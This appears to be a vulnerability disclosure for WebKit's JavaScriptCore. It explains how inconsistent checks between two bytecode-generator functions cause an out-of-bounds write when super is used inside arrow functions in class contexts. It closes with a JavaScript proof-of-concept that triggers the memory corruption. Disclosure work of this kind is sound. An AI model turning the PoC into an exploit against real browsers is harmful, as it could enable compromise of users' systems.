WebKit: JSC: incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope
When a super expression is used in an arrow function, the following code, which generates bytecode, is called.
```
if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {
bool canReuseLexicalEnvironment = isSimpleParameterList;
initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);
emitPutThisToArrowFunctionContextScope();
emitPutNewTargetToArrowFunctionContextScope();
emitPutDerivedConstructorToArrowFunctionContextScope();
}
```
Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.
```
void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()
{
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
if (isSuperUsedInInnerArrowFunction()) {
ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);
Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());
emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);
}
}
}
```
|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.
```
void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)
{
ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);
if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {
...
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {
offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);
functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));
}
...
}
...
}
```
But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.
```
BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())
BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
if (isSuperUsedInInnerArrowFunction()) {
```
Note: " || m_codeBlock->isClassContext()".
So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.
### PoC:
```
let args = new Array(0x10000);
args.fill();
args = args.map((_, i) => 'a' + i).join(', ');
let gun = eval(`(function () {
class A {
}
class B extends A {
constructor(${args}) {
() => {
${args};
super();
};
class C {
constructor() {
}
trigger() {
(() => {
super.x;
})();
}
}
return new C();
}
}
return new B();
})()`);
for (let i = 0; i < 0x10000; i++)
gun.trigger();
```
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